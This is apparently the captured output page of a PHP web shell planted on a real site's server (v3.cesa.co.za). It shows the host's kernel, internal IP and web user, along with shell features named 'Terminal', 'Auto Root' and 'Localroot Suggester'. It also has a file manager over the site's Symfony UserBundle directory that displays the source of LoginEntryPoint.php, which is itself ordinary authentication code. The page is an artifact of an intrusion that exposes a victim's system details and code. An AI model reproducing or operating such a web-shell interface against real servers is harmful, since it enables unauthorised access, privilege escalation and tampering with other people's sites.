Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.217.117
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
src /
UserBundle /
Services /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
CCEStudentManager.php
5.32
KB
-rwxrwxr-x
2026-05-26 09:32
LoginEntryPoint.php
1.67
KB
-rwxrwxr-x
2026-05-18 12:51
OauthManager.php
3.65
KB
-rwxrwxr-x
2026-04-02 12:06
UserLevelManager.php
3.35
KB
-rwxrwxr-x
2026-04-02 12:06
UserListManager.php
74.86
KB
-rwxrwxr-x
2026-05-25 12:28
UserListOldManager.php
2.98
KB
-rwxrwxr-x
2026-05-18 12:51
php_errors.log
362
B
-rwxrwxr-x
2026-04-02 12:06
Save
Rename
<?php namespace App\UserBundle\Services; use Symfony\Component\Security\Http\EntryPoint\AuthenticationEntryPointInterface, Symfony\Component\Security\Core\Exception\AuthenticationException, Symfony\Component\HttpFoundation\Request, Symfony\Component\HttpFoundation\RedirectResponse, Symfony\Component\Routing\RouterInterface; /** * When the user is not authenticated at all (i.e. when the security context has no token yet), * the firewall's entry point will be called to start() the authentication process. */ class LoginEntryPoint implements AuthenticationEntryPointInterface { protected $router; public function __construct(RouterInterface $router) { $this->router = $router; } /* * This method receives the current Request object and the exception by which the exception * listener was triggered. * * The method should return a Response object */ public function start(Request $request, ?AuthenticationException $authException = null) { $session = $request->getSession(); // Check if this is an admin route if (strpos($request->getPathInfo(), '/admin') === 0) { // For admin routes, redirect to admin dashboard // Sonata Admin Bundle will handle the authentication flow $session->getFlashBag()->add('warning', 'You must be logged in to access the admin area'); return new RedirectResponse('/admin/dashboard'); } // For regular routes, redirect to main login $session->getFlashBag()->add('warning', 'You must be logged in to access that page'); return new RedirectResponse($this->router->generate('login')); } }